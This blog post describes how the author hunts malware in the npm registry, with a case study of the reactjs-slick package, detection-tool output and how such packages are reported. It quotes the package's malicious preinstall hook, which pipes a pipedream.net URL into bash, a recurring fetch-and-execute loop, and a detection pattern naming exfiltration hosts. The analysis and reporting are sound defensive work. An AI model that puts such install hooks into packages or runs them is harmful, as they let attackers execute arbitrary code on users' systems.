Hunting for malware in npm
Tags: security, opensource, malware
Published: 2022-12-22 00:55:03

I've spent the past two years or so hunting for malware in open source ecosystems (mostly npm and PyPI, but a bit in the others too). We've found and reported over 20,000 instances in that time, and while we're certainly not the only group to be doing this work, I'm proud of how quickly we're able to detect and report.

In this post, I wanted to share some details about how I discover these and what I do about them. I'm only going to talk about one specific malware type, which is among the most basic. There have been previous write-ups about these, so there's nothing "new" in this post that you can't learn elsewhere.

### How Malware Executes

When you install a package from npm, the package has an opportunity to run "preinstall" scripts. These are arbitrary commands, defined in package.json, that run either before, during, or after installation. (There are a few others; check out the [docs](https://docs.npmjs.com/cli/v9/using-npm/scripts) for more information.)

Since these preinstall scripts can do pretty much anything, they're a simple source for malware. Attackers can exfiltrate data, install other packages, make changes to your system, or anything else that the user running the script would be able to do, including connecting to other network endpoints.

### Detecting Preinstall Malware

The simplest way to detect this type of malware is to look for it in package.json files. You can download the package (being careful not to install it -- [oss-download](https://dev.to/scovetta/oss-gadget-using-oss-download-1gi8) can be helpful here) and then use `jq` or another command to search for commands in the file.

### Case Study: pkg:npm/reactjs-slick

For this post, we're going to explore the [reactjs-slick](https://www.npmjs.com/package/reactjs-slick?activeTab=explore) module, which was posted a few hours ago.

```
# oss-download -e pkg:npm/reactjs-slick

   ____   _____ _____    _____           _            _
  / __ \ / ____/ ____|  / ____|         | |          | |
 | |  | | (___| (___   | |  __  __ _  __| | __ _  ___| |_
 | |  | |\___ \\___ \  | | |_ |/ _` |/ _` |/ _` |/ _ \ __|
 | |__| |____) |___) | | |__| | (_| | (_| | (_| |  __/ |_
  \____/|_____/_____/   \_____|\__,_|\__,_|\__, |\___|\__|
                                            __/ |
                                           |___/          
OSS Gadget - oss-download 0.1.357+c946c93324 - github.com/Microsoft/OSSGadget
INFO  - Downloaded pkg:npm/reactjs-slick to /tmp/t/npm-reactjs-slick@2.0.2

# find . -name package.json | xargs jq .scripts.preinstall                                                                                                                                                      
"curl https://d621fdf07c471f049aba6ce202295bea.m.pipedream.net | bash"
```

So here, we're seeing that when the `reactjs-slick` module is installed, the `curl` command is used to download a command from that long URL and pass it to `bash`. 

**This is effectively a reverse shell, allowing the attacker to run arbitrary commands on your system.**

If we load that URL (being very careful), we see it ends up running this command:

```
watch -n 10 'curl https://3513c0f0392eb1c8690450709ee37093.m.pipedream.net | bash'; node index.js;
```

So every 10 seconds, that other URL is loaded and executed:

```
touch /tmp/redparsecdhackediwasheredone
```

### OSS Gadget: oss-detect-backdoor

My team and I packaged up a bunch of suspicious patterns into a tool, part of the [OSS Gadget](https://github.com/Microsoft/OSSGadget) suite. You can use this to automatically download and scan for interesting patterns. In this case of the reactjs-slick module, we detect it easily:

```
# oss-detect-backdoor pkg:npm/reactjs-slick

   ____   _____ _____    _____           _            _
  / __ \ / ____/ ____|  / ____|         | |          | |
 | |  | | (___| (___   | |  __  __ _  __| | __ _  ___| |_
 | |  | |\___ \\___ \  | | |_ |/ _` |/ _` |/ _` |/ _ \ __|
 | |__| |____) |___) | | |__| | (_| | (_| | (_| |  __/ |_
  \____/|_____/_____/   \_____|\__,_|\__,_|\__, |\___|\__|
                                            __/ |
                                           |___/          
OSS Gadget - oss-detect-backdoor 0.1.365+570ffa6632 - github.com/Microsoft/OSSGadget
--[ Match #1 of 7 ]--
   Rule Id: BD001002
       Tag: Security.DependencyConfusion.AttackPattern.SuspiciousHostname
  Severity: Critical, Confidence: High
  Filename: /npm-reactjs-slick@2.0/package/index.js
   Pattern: .{1,45}\.(pipedream\.net|ceye\.io|burpcollaborator\.net|interact\.sh|requestbin\.net|nmnfbb\.com)
  | });
  | 
  | var options = {
  |     hostname: "d621fdf07c471f049aba6ce202295bea.m.pipedream.net", //replace burpcollaborator.net wit
  |     port: 443,
  |     path: "/",
  |     method: "POST",
  | 
```

### Attacker or Security Researcher?

In many cases, the "attacker" is a security researcher, doing this either as part of a penetration test or to demonstrate an attack's effectiveness.

In this case, the module was published by someone with a few others, that all appear to be similar ("r3dpars3c was doing pentest here").

![Screenshot from npm](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/xuohjdu35e2w9tlnre7u.png)

Of course, nothing stops an actual attacker from writing the same thing, so I don't differentiate between what I believe to be a real attack and a simulated one.

### Reporting the Module

We can easily report these types of modules. Within npm, you can click on the "Report malware" button on the right side of the module's page.

In this particular case, the author's other packages had similar malware, so we reported all four to the npm security team, and all have since been removed from the registry.